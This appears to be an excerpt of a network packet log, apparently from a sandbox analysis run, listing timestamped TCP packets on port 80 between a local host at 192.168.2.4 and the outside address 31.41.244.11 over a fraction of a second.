Dec 21, 2024 10:15:32.296154976 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.296200037 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.296212912 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.296891928 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.296902895 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.296991110 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.297640085 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.297810078 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.297832012 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.298501015 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.298643112 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.298666000 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.298948050 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.299326897 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.299509048 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.299514055 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.299563885 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.300138950 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.300313950 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.300371885 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.301012039 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.301136017 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.301224947 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.301817894 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.301866055 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.301938057 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.302596092 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.302697897 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.302697897 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.302730083 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.302783012 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.303405046 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.303522110 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.303599119 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.304219961 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.304311037 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.304374933 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.305145025 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.305191994 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.305351973 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.305974960 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.306031942 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.306133986 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.306766033 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.306827068 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.306895971 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.307580948 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.307643890 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.307681084 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.307709932 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.308345079 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.308557987 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.308660030 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.309180975 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.309381962 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.309458017 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.310007095 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.310122967 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.310183048 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.310882092 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.310893059 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.310945034 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.311719894 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.311875105 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.311949968 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.312465906 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.312572956 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.312638044 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.313369036 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.313544035 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.313698053 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.314146042 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.314207077 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.314260006 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.314964056 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.315027952 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.315080881 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.315772057 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.315921068 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.315984964 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.316613913 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.316734076 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.316821098 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.317420006 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.317491055 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.317629099 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.317708015 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.318209887 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.318360090 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.318427086 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.319111109 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.319170952 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.319231987 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.319873095 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.319948912 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.319983006 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.320758104 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.320913076 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.320939064 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.321536064 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.321677923 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.321710110 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.322341919 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.322403908 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.322419882 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.323208094 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.323232889 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.323261023 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.323276997 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.323332071 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.324142933 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.324155092 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.324198008 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.324840069 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.324918985 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.324990988 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.325750113 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.325761080 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.325922012 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.326553106 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.326589108 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.326627970 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.326694965 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.327296019 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.327420950 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.327472925 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.328226089 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.328361988 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.328417063 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.329005957 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.329190016 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.329250097 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.329818010 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.329898119 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.329919100 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.329972982 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.330621004 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.330668926 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.330718994 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.331491947 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.331582069 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.331662893 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.331721067 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.332241058 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.332317114 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.332339048 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.332411051 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.333051920 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.333121061 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.481810093 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.481887102 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.481935978 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.482053995 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.482194901 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.482207060 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.482321978 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.482822895 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.482952118 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.482971907 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.483005047 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.483643055 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.483700991 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.483747959 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.483804941 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.484514952 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.484828949 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.484860897 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.484925985 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.485404968 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.485524893 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.485553026 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.485666037 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.486141920 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.486222029 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.486334085 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.487320900 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.487386942 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.487482071 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.487551928 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.488084078 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.488127947 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.488183975 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.488773108 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.488976955 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.489010096 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.489078045 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.489419937 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.489520073 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.489552021 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.489629030 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.490190029 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.490391970 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.490492105 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.491115093 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.491167068 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.491218090 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.491272926 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.491950035 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.491961956 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.492044926 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.492044926 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.492688894 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.492790937 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.492824078 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.492953062 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.493535042 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.493716002 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.493741989 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.493908882 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.494389057 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.494512081 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.494630098 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.495249987 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.495337963 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.495495081 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.495579958 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.496052980 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.496191025 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.496212959 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.496237993 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.496813059 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.496937037 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.496957064 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.497766018 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.497776031 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.497884035 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.498003960 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.498500109 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.498562098 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.498624086 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.498773098 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.499402046 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.499455929 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.499520063 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.499743938 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.500122070 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.500171900 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.500241995 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.500375032 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.501039028 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.501049995 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.501113892 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.501858950 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.501869917 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.501971960 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.501971960 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.502662897 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.502711058 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.502732038 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.502830982 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.503377914 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.503520966 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.503549099 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.503593922 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.504270077 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.504343987 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.504403114 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.504446030 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.505228043 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.505333900 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.505415916 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.505415916 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.506239891 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.506337881 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.506359100 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.506552935 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.507181883 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.507261992 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.507381916 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.507987976 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.507997990 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.508033991 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.508440018 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.508493900 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.508521080 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.508598089 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.509161949 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.509207964 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.509227991 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.509475946 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.509999990 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.510059118 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.510159969 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.510251999 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.510951042 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.510998011 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.511017084 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.511055946 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.511681080 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.511733055 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.511893034 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.512022972 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.512558937 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.512711048 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.512736082 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.512793064 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.513339996 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.513386965 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.513390064 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.513510942 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.514151096 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.514225006 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.514241934 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.514307022 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.515000105 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.515182018 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.515217066 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.515290022 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.515796900 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.515861988 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.515913963 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.516076088 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.516542912 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.516722918 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.516748905 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.516964912 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.517530918 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.517597914 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.517607927 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.517766953 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.518281937 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.518393993 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.518474102 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.519113064 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.519180059 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.519193888 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.519332886 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.519908905 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.519970894 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.520046949 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.520137072 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.520750999 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.520876884 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.520987034 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.521564960 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.521646023 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.521677971 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.521786928 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.522550106 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.522567034 CET	80	49808	31.41.244.11	192.168.2.4
